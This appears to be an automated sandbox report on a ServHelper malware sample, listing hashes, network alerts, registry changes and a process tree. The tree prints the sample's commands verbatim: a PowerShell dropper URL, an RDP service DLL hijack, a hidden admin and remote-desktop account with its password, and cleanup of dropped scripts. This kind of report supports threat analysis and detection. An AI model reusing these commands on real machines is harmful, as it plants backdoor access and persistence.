cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3

Analysis

max time kernel
121s
max time network
120s
platform
windows10_x64
resource
win10-en-20211014
submitted
26-10-2021 14:49

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General

Target

63151e4f7c3972f18a23c0e9996e14ef.exe
Size

5.7MB
MD5

63151e4f7c3972f18a23c0e9996e14ef
SHA1

5d041fde6433a8ff8fc78a69fca1fd4630e3f270
SHA256

cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3
SHA512

f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec

Score

10^/10

persistence suricata upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
29	1344	powershell.exe
31	1344	powershell.exe
32	1344	powershell.exe
33	1344	powershell.exe
35	1344	powershell.exe
37	1344	powershell.exe
39	1344	powershell.exe
41	1344	powershell.exe
43	1344	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000500000001ab95-354.dat	upx
behavioral2/files/0x000500000001ab96-355.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
2164	Process not Found
2164	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI44E8.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_a2qio3mq.jst.ps1	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_dl3j2yvx.o05.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI44A8.tmp	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI4419.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI4478.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI44F8.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\2500 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent,"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1864	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	31	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	32	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	33	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	35	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2188	powershell.exe
2188	powershell.exe
2188	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
2092	powershell.exe
2092	powershell.exe
2092	powershell.exe
3320	powershell.exe
3320	powershell.exe
3320	powershell.exe
2188	powershell.exe
2188	powershell.exe
2188	powershell.exe
1344	powershell.exe
1344	powershell.exe
1344	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
616	Process not Found
616	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2188	powershell.exe
Token: SeDebugPrivilege	4032	powershell.exe
Token: SeIncreaseQuotaPrivilege	4032	powershell.exe
Token: SeSecurityPrivilege	4032	powershell.exe
Token: SeTakeOwnershipPrivilege	4032	powershell.exe
Token: SeLoadDriverPrivilege	4032	powershell.exe
Token: SeSystemProfilePrivilege	4032	powershell.exe
Token: SeSystemtimePrivilege	4032	powershell.exe
Token: SeProfSingleProcessPrivilege	4032	powershell.exe
Token: SeIncBasePriorityPrivilege	4032	powershell.exe
Token: SeCreatePagefilePrivilege	4032	powershell.exe
Token: SeBackupPrivilege	4032	powershell.exe
Token: SeRestorePrivilege	4032	powershell.exe
Token: SeShutdownPrivilege	4032	powershell.exe
Token: SeDebugPrivilege	4032	powershell.exe
Token: SeSystemEnvironmentPrivilege	4032	powershell.exe
Token: SeRemoteShutdownPrivilege	4032	powershell.exe
Token: SeUndockPrivilege	4032	powershell.exe
Token: SeManageVolumePrivilege	4032	powershell.exe
Token: 33	4032	powershell.exe
Token: 34	4032	powershell.exe
Token: 35	4032	powershell.exe
Token: 36	4032	powershell.exe
Token: SeDebugPrivilege	2092	powershell.exe
Token: SeIncreaseQuotaPrivilege	2092	powershell.exe
Token: SeSecurityPrivilege	2092	powershell.exe
Token: SeTakeOwnershipPrivilege	2092	powershell.exe
Token: SeLoadDriverPrivilege	2092	powershell.exe
Token: SeSystemProfilePrivilege	2092	powershell.exe
Token: SeSystemtimePrivilege	2092	powershell.exe
Token: SeProfSingleProcessPrivilege	2092	powershell.exe
Token: SeIncBasePriorityPrivilege	2092	powershell.exe
Token: SeCreatePagefilePrivilege	2092	powershell.exe
Token: SeBackupPrivilege	2092	powershell.exe
Token: SeRestorePrivilege	2092	powershell.exe
Token: SeShutdownPrivilege	2092	powershell.exe
Token: SeDebugPrivilege	2092	powershell.exe
Token: SeSystemEnvironmentPrivilege	2092	powershell.exe
Token: SeRemoteShutdownPrivilege	2092	powershell.exe
Token: SeUndockPrivilege	2092	powershell.exe
Token: SeManageVolumePrivilege	2092	powershell.exe
Token: 33	2092	powershell.exe
Token: 34	2092	powershell.exe
Token: 35	2092	powershell.exe
Token: 36	2092	powershell.exe
Token: SeDebugPrivilege	3320	powershell.exe
Token: SeIncreaseQuotaPrivilege	3320	powershell.exe
Token: SeSecurityPrivilege	3320	powershell.exe
Token: SeTakeOwnershipPrivilege	3320	powershell.exe
Token: SeLoadDriverPrivilege	3320	powershell.exe
Token: SeSystemProfilePrivilege	3320	powershell.exe
Token: SeSystemtimePrivilege	3320	powershell.exe
Token: SeProfSingleProcessPrivilege	3320	powershell.exe
Token: SeIncBasePriorityPrivilege	3320	powershell.exe
Token: SeCreatePagefilePrivilege	3320	powershell.exe
Token: SeBackupPrivilege	3320	powershell.exe
Token: SeRestorePrivilege	3320	powershell.exe
Token: SeShutdownPrivilege	3320	powershell.exe
Token: SeDebugPrivilege	3320	powershell.exe
Token: SeSystemEnvironmentPrivilege	3320	powershell.exe
Token: SeRemoteShutdownPrivilege	3320	powershell.exe
Token: SeUndockPrivilege	3320	powershell.exe
Token: SeManageVolumePrivilege	3320	powershell.exe
Token: 33	3320	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2896 wrote to memory of 2188	2896	63151e4f7c3972f18a23c0e9996e14ef.exe	70
PID 2896 wrote to memory of 2188	2896	63151e4f7c3972f18a23c0e9996e14ef.exe	70
PID 2188 wrote to memory of 2808	2188	powershell.exe	72
PID 2188 wrote to memory of 2808	2188	powershell.exe	72
PID 2808 wrote to memory of 3436	2808	csc.exe	73
PID 2808 wrote to memory of 3436	2808	csc.exe	73
PID 2188 wrote to memory of 4032	2188	powershell.exe	74
PID 2188 wrote to memory of 4032	2188	powershell.exe	74
PID 2188 wrote to memory of 2092	2188	powershell.exe	77
PID 2188 wrote to memory of 2092	2188	powershell.exe	77
PID 2188 wrote to memory of 3320	2188	powershell.exe	79
PID 2188 wrote to memory of 3320	2188	powershell.exe	79
PID 2188 wrote to memory of 1828	2188	powershell.exe	81
PID 2188 wrote to memory of 1828	2188	powershell.exe	81
PID 2188 wrote to memory of 1864	2188	powershell.exe	82
PID 2188 wrote to memory of 1864	2188	powershell.exe	82
PID 2188 wrote to memory of 2020	2188	powershell.exe	83
PID 2188 wrote to memory of 2020	2188	powershell.exe	83
PID 2188 wrote to memory of 1364	2188	powershell.exe	84
PID 2188 wrote to memory of 1364	2188	powershell.exe	84
PID 1364 wrote to memory of 3960	1364	net.exe	85
PID 1364 wrote to memory of 3960	1364	net.exe	85
PID 2188 wrote to memory of 3568	2188	powershell.exe	86
PID 2188 wrote to memory of 3568	2188	powershell.exe	86
PID 3568 wrote to memory of 3056	3568	cmd.exe	87
PID 3568 wrote to memory of 3056	3568	cmd.exe	87
PID 3056 wrote to memory of 1564	3056	cmd.exe	88
PID 3056 wrote to memory of 1564	3056	cmd.exe	88
PID 1564 wrote to memory of 3764	1564	net.exe	89
PID 1564 wrote to memory of 3764	1564	net.exe	89
PID 2188 wrote to memory of 3748	2188	powershell.exe	90
PID 2188 wrote to memory of 3748	2188	powershell.exe	90
PID 3748 wrote to memory of 888	3748	cmd.exe	91
PID 3748 wrote to memory of 888	3748	cmd.exe	91
PID 888 wrote to memory of 3724	888	cmd.exe	92
PID 888 wrote to memory of 3724	888	cmd.exe	92
PID 3724 wrote to memory of 1528	3724	net.exe	93
PID 3724 wrote to memory of 1528	3724	net.exe	93
PID 1948 wrote to memory of 3068	1948	cmd.exe	97
PID 1948 wrote to memory of 3068	1948	cmd.exe	97
PID 3068 wrote to memory of 2216	3068	net.exe	98
PID 3068 wrote to memory of 2216	3068	net.exe	98
PID 664 wrote to memory of 3436	664	cmd.exe	101
PID 664 wrote to memory of 3436	664	cmd.exe	101
PID 3436 wrote to memory of 3032	3436	net.exe	102
PID 3436 wrote to memory of 3032	3436	net.exe	102
PID 356 wrote to memory of 3324	356	cmd.exe	105
PID 356 wrote to memory of 3324	356	cmd.exe	105
PID 3324 wrote to memory of 632	3324	net.exe	106
PID 3324 wrote to memory of 632	3324	net.exe	106
PID 772 wrote to memory of 3444	772	cmd.exe	109
PID 772 wrote to memory of 3444	772	cmd.exe	109
PID 3444 wrote to memory of 1456	3444	net.exe	110
PID 3444 wrote to memory of 1456	3444	net.exe	110
PID 1164 wrote to memory of 3580	1164	cmd.exe	113
PID 1164 wrote to memory of 3580	1164	cmd.exe	113
PID 3580 wrote to memory of 3720	3580	net.exe	114
PID 3580 wrote to memory of 3720	3580	net.exe	114
PID 1760 wrote to memory of 2604	1760	cmd.exe	117
PID 1760 wrote to memory of 2604	1760	cmd.exe	117
PID 2604 wrote to memory of 1092	2604	net.exe	118
PID 2604 wrote to memory of 1092	2604	net.exe	118
PID 2304 wrote to memory of 2920	2304	cmd.exe	121
PID 2304 wrote to memory of 2920	2304	cmd.exe	121

C:\Users\Admin\AppData\Local\Temp\63151e4f7c3972f18a23c0e9996e14ef.exe
"C:\Users\Admin\AppData\Local\Temp\63151e4f7c3972f18a23c0e9996e14ef.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sofo34bb\sofo34bb.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2808
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE938.tmp" "c:\Users\Admin\AppData\Local\Temp\sofo34bb\CSC994BD6EF4CB9446894FBBA752418CC13.TMP"
      4⤵
      PID:3436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3320
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1828
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1864
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:2020
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1364
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:3960
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3568
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3056
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1564
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:3764
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3748
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:888
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3724
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1528
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:496
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1760

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:1948
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3068
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:2216

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc V0rGJELN /add
1⤵
- Suspicious use of WriteProcessMemory
PID:664
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc V0rGJELN /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3436
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc V0rGJELN /add
    3⤵
    PID:3032

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:356
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3324
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:632

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:772
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3444
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
    3⤵
    PID:1456

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1164
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3580
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:3720

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc V0rGJELN
1⤵
- Suspicious use of WriteProcessMemory
PID:1760
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc V0rGJELN
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc V0rGJELN
    3⤵
    PID:1092

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
PID:2304
- C:\Windows\System32\Wbem\WMIC.exe
